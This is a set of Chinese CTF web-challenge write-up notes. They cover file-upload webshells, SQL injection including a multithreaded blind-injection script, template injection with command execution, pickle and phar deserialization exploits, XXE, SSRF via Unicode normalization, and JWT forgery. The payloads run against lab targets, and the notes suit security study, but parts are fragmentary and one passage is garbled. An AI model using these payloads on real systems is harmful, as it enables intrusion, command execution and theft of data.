上传检测后缀名,文件内容不能有
上传a1.jpg
GIF89a?
Bp抓包修改下文件名 不能有php
/upload/a1.phtml?cmd=system(‘cat /flag’);
/index.php.bak 下载源码
PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉
Payload:访问url/?key=123
点help,看url感觉有个文件包含
Get不管用,用post提交这个file参数 filename=WEB-INF/web.xml
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
用jd-gui打不开程序直接崩了,直接用notepad打开 然后base64解码
Passwd=ffifdyop ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,能构成万能密码
/levels91.php?a[]=2&b[]=1
两个值不能一样,但是md5的值要一样,这是全类型比较,所以这里也是破坏结构,传递数组
param1[]=3¶m2[]=4
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
#构造方法self代表对象,其他是对象的属性
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))#将url编码解码
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] #读取网络文件参数可以是url
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
#hashlib.md5()#获取一个md5加密算法对象,hexdigest()是获得加密吼的16进制字符串
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
先看路由
/De1ta路由接受参数之后,param参数通过waf之后便执行task对象中的Exec方法
checkSign需要返回true,利用/geneSign路由获取sign,action中要有read和scan才能读param参数指定的文件
scan函数读文件
/geneSign?param=flag.txtread //sign=md5(secert_key + param + action) 而/geneSign这把action定死为scan,所以在param后加上flag,经过拼接得到的字符串 和提交action为readscan一样
/De1ta?param=flag.txt
De1CTF ssrf_me 的三种解法https://xz.aliyun.com/t/5927
考虑为绕过两个函数限制利用nmap选项写文件挂马
https://paper.seebug.org/164/
?host=’ -oG hack.php ’
Post传值 hack=system(‘cat /flag’);
源码泄露www.zip 下载审计
详细看这篇帖子https://blog.csdn.net/zz_Caleb/article/details/96777110
令$profile[‘photo’]为config.php 就能读到config文件中的flag 利用了过滤的正则替换,造成的字符逃逸
先注册登录,然后上传头像,随便选个图片上传
抓包修改为name=nickname[],内容为
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:“photo”;s:10:“config.php”;}
去/profile查看头像
Base64 解码即可
尝试注入
显示do not hack me! 还有一段字符串猜测是base64加密(测试后发现为base32)
这段字符串先base32 再 base64解码后得到sql查询语句select * from user where username = ‘$name’
简单Fuzz一下
由于order被ban ,所以用union select
1%27 union select 1,2,3#
1%27 union select 1,2,3,4#
得到字段数为3
猜测字段名是
ip username password
admin’ union select 1,‘admin’,3#
//把admin 放到第二个位置 不报错
看网上wp,当时比赛的时候是有md5提示的
登录验证的时候passsword字段中的内容要==md5(我们密码栏输入的password) name=1%27 union select 1,‘admin’,‘202cb962ac59075b964b07152d234b70’#&pw=123
前两个判断 host 是否是 suctf.cc ,如果不是才能继续,而进入后面的read()又需要host为suctf.cc
urlsplit()是 urllib.parse 模块下的一个函数,跟 urlparse 效果一样用来对 url 进行分割,但是有一点不一样的是 urlsplit 分割出来的没有 params 这个属性。
2019black hat一个议题
PPT:
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
CVE-2019-9636:urlsplit 不处理 NFKC 标准化
https://bugs.python.org/issue36216
CVE-2019-10160:urlsplit NFKD 标准化漏洞
https://bugs.python.org/issue36742
漏洞原理:
用 Punycode/IDNA 编码的 URL 使用 NFKC 规范化来分解字符。可能导致某些字符将新的段引入 URL。
例如,在直接比较中,\ uFF03不等于’#’,而是统一化为’#’,这会更改 URL 的片段部分。类似地,\ u2100 统一化为’a/c’,它引入了路径段。
在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。
可用脚本fuzz出可用字符(偷来的脚本)
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
Nginx 重要文件目录
• 配置文件存放目录:/etc/nginx
• 主要配置文件:/etc/nginx/conf/nginx.conf
• 管理脚本:/usr/lib64/systemd/system/nginx.service
• 模块:/usr/lisb64/nginx/modules
• 应用程序:/usr/sbin/nginx
• 程序默认存放位置:/usr/share/nginx/html
• 日志默认存放位置:/var/log/nginx
file://suctf.c℆sr/…/…/…/…/…/usr/local/nginx/conf/nginx.conf 得到flag文件位置
Payload:file://suctf.c℆sr/fffffflag
或者file:////suctf.cc/…/…/…/…/…/usr/fffffflag
(CVE-2019-9636:urlsplit不处理NFKC标准化)
简单fuzz一下
这些都是被过滤的字符
直接用报错注入
?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
用报错注入经常会遇到无法截取全部的限制,只有32位字符,常用substr,但这里被过滤,改用right
?username=admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123
拼接得到完整的flag
参数有img和cmd猜测img这段字符串为加密后的文件名,可能存在目录遍历漏洞读取任意文件,cmd执行命令
TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密,一次hex解密得到555.png
?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd= //读取index.php
Base64解密后得到
有个关键词过滤,和MD5值检验要绕过
这里由于强制类型转换,传数组不能绕过,用MD5碰撞https://xz.aliyun.com/t/2232
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
直接购买
只能使用一个字符,一个字符能够购买的就只有前三只独角兽,于是我们需要找到一个数值比1337大的字符,这里考的是utf-8编码的转换安全问题
https://xz.aliyun.com/t/5402#toc-0
https://blog.lyle.ac.cn/2018/10/29/unicode-normalization/
https://www.compart.com/en/unicode/
%E1%8D%BC 提交即可
有个git源码泄露
Githack搞下来
$ 动 态 变 量 导 致 的 变 量 覆 盖 问 题 ! [ 在 这 里 插 入 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / 20200617153815398. p n g ) 经 过 代 码 处 理 后 动态变量导致的变量覆盖问题  经过代码处理后 动态变量导致的变量覆盖问题经过代码处理后yds= f l a g , 利 用 第 二 个 条 件 输 出 flag,利用第二个条件输出 flag,利用第二个条件输出yds
直接用最后的echo flag是不行的,$flag的值会被覆盖
是个模板注入,有个黑名单过滤
题目注册了一个名为FLAG的config,但由于黑名单限制无法直接读取config
利用Python flask内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
二次注入,注入点在发布广告那的广告名
information_schema绕过 ,无列名注入
列数:
1’//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/
-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
https://www.cnblogs.com/wangtanzhi/p/12241499.html
https://www.cnblogs.com/tlbjiayou/p/12014926.html0
下载一下看看,没反应。。。
尝试访问/phpMyAdmin
phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞分析:
https://www.cnblogs.com/Spec/p/11076331.html
/phpmyadmin/?target=db_sql.php%253f/…/…/…/…/…/…/…/…/flag
一个网盘,能上传下载 图片,题目提示PHP PHAR 应该是反序列化 但找不到源码审计
然后发现下载时能任意文件下载,利用这个读取源码,一般来说上传的文件是放在 网站主目录/sandbox/hash,需要…/ 回溯
filename=…/…/index.php
主要是这几个
这里不能直接下载flag文件
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
phar:// 与file:// php://等类似,也是一种流包装器。phar://”允许我们将多个文件归入一个本地文件夹。PHP的文件操作函数能够接受许多内置的流包装器
PHAR 的manifest存储了经过serialize( )处理的Meta-data,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。
这题利用filename函数 在File类中
且User类的魔术方法调用了close()
同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,就会触发__call 魔术方法,__call是魔术方法中的一个,当程序调用到当前类中未声明或没权限调用的方法时,就会调用__call方法。__call()方法包含两个参数,即方法名和方法参数。其中,方法参数是以数组形式存在的,这样File类中的close方法会被执行,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。
Pop链
$user->__destruct() => $db->close() => $db->__call('close') => $file->close() => $results=file_get_contents($filename) => FileList->__destruct()输出$result。
phar.readonly = Off //不然会报错 分号记得去掉
Exp.php生成phar文件
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("aaa.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
//签名自动计算
$phar->stopBuffering();
?>
改一下后缀名上传,然后在delete删除文件,抓包修改参数调用这个文件
登录注册 一千块钱 要买lv6的
购买页面有很多,只能用脚本找到 在181页
from urllib import request
url = "http://e47b3dd0-b30d-4feb-9317-83576dca79ef.node3.buuoj.cn/shop?page="
for i in range(1000):
response = request.urlopen(url+str(i))
if "lv6.png" in response.read().decode('utf-8'):
print(i)
break
购买抓包修改折扣,成功后有个重定向
需要admin用户,那就伪造jwt头
https://jwt.io/ 这个网站能在线加密解密
可用看到alg": “HS256” 所以不能直接修改用户名 ,还需要密匙
https://github.com/brendan-rius/c-jwt-cracker 用工具跑出密匙为1Kun
修改cookie就行
下载源码审计
在Admin.py有个反序列化
以下内容摘自https://www.cnblogs.com/wangtanzhi/p/12178311.html
pickle反序列化
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。
pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化后的数据,可读性差,人一般无法识别。
p = pickle.loads(urllib.unquote(become))
urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用
Pickle模块中最常用的函数为:
(1)pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(2)pickle.load(file)
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。
(3)pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(4)pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
检测反序列化方法:
全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。
防御方法
1、用更高级的接口_getnewargs()、_getstate()、_setstate_()等代替_reduce_()魔术方法;
2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。
当__reduce__被定义之后,该对象被Pickle时就会被调用我们这里的eval用于重建对象的时候调用
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload()) #将obj对象序列化为string形式
a = urllib.quote(a)
print a
利用伪协议和php输入流 满足条件
(file_get_contents($text,‘r’)===“I have a dream”)
Base64 解码之后 审计
\1表示取出正则匹配后的第一个子匹配中的第一项
利用/e 进行代码执行
/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);
在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。
参考:http://www.xinyueseo.com/websecurity/158.html
利用白名单函数获得需要的函数名,下面文章讲的很详细,不再累述
具体请看:https://www.cnblogs.com/wangtanzhi/p/12246731.html
先查看phpinfo,得到flag页面文件名 //?f=phpinfo
extract后post内容 覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性
传入的img_path会被sha1加密再base64编码再给$_session[img],没指定的话就直接base_encode(‘guest.img.png’)
只能通过序列化字符串来操控img值
传入序列化字符串,再利用过滤,进行字符逃逸
再利用最后的
反序列化读出文件内容
方法一(值逃逸):
两个连续的键值对,由第一个的值覆盖第二个的键
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“ab”;s:2:“sb”;}
方法二(键逃逸):
直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
_SESSION[flagphp]=;s:2:“db”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
_SESSION[flagphp]=;s:2:“db”;s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;}
https://blog.csdn.net/qq_43756333/article/details/106562634
根据提示查看cookie 发现user这里直接输入内容刷新一下就会回显在页面上,且PHPSESSID不变
测试后发现为模板注入
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}
点到第三个找到注入点,异或盲注,但这题很恶心,最后爆值的时候flag前面有很多无用信息,遂将这题当作脚本编写练习题,将嫖来的二分法脚本加上了多线程
这是别人博客嫖来的二分法注入脚本
https://www.cnblogs.com/wangtanzhi/p/12305052.html
#sql injection.py
# -*- coding: UTF-8 -*-
import re
import requests
import string
url = "http://1deb2c9a-0a0a-4ca3-b983-d779588217ef.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)
用二分法跑出数据用了10分钟 ,实在忍不了,加了多线程一分半就能跑完(第一次写,有什么需要改进的还望指点)
#sql injection v2.py
# -*- coding: UTF-8 -*-
import threading
import requests
import random
user_agent = [
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]
class MyThread(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
def payload(i,j):
global url
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
#print(i)
header = {'User-Agent': user_agent[random.randint(0,7)]}
data = {"id":sql}
r = requests.get(url,params=data,headers=header)
#print (r.text)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp(a,i):
lock = threading.Lock()
low = 31
high = 127
lock.acquire()
while low <= high :
mid = (low + high) // 2
o=a+i
#print(o)
res = payload(o,mid)
if res :
low = mid + 1
else :
high = mid - 1
asci = int((low + high + 1)) // 2
if (asci == 127 or asci == 31):
return 0
# print (asci)
return chr(asci)
lock.release()
def main():
global flag
a=1
f=True
while f:
threads = []
for i in range(8):
t = MyThread(exp, (a,i))
threads.append(t)
for i in range(8):
threads[i].start()
for i in range(8):
threads[i].join()
if threads[i].getresult()==0:
f = False
flag = flag + str(threads[i].getresult())
a = a+8
print(flag+"\n")
if __name__ == '__main__':
flag = ""
url = "http://1deb2c9a-0a0a-4ca3-b983-d779588217ef.node3.buuoj.cn/search.php"
main()
之前没加进程锁,最后几位flag内容会出错,加了之后试了几次都ok
上传正常的jpg和png图片都不行,多少沾点脑瘫了奥
应该是限制Content-Type只能为 image/jpeg , 然后文件名不带ph就行
懒得连菜刀 直接打印出flag
is_numeric可以用数组绕过、%00截断、添加其他字符 这题用添加任意字符
发现源码泄露
直接用Git_Extract把分支都下下来
只用了addslashes过滤 存在二次注入。https://bbs.ichunqiu.com/thread-10899-1-1.html
3’,content=user(),/* 提交留言 */# 形成了多行注释
具体过程看https://blog.csdn.net/weixin_43940853/article/details/105121265
XXE漏洞
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY penson SYSTEM "file:///flag" >
]>
<user><username>&penson;</username><password>penson</password></user>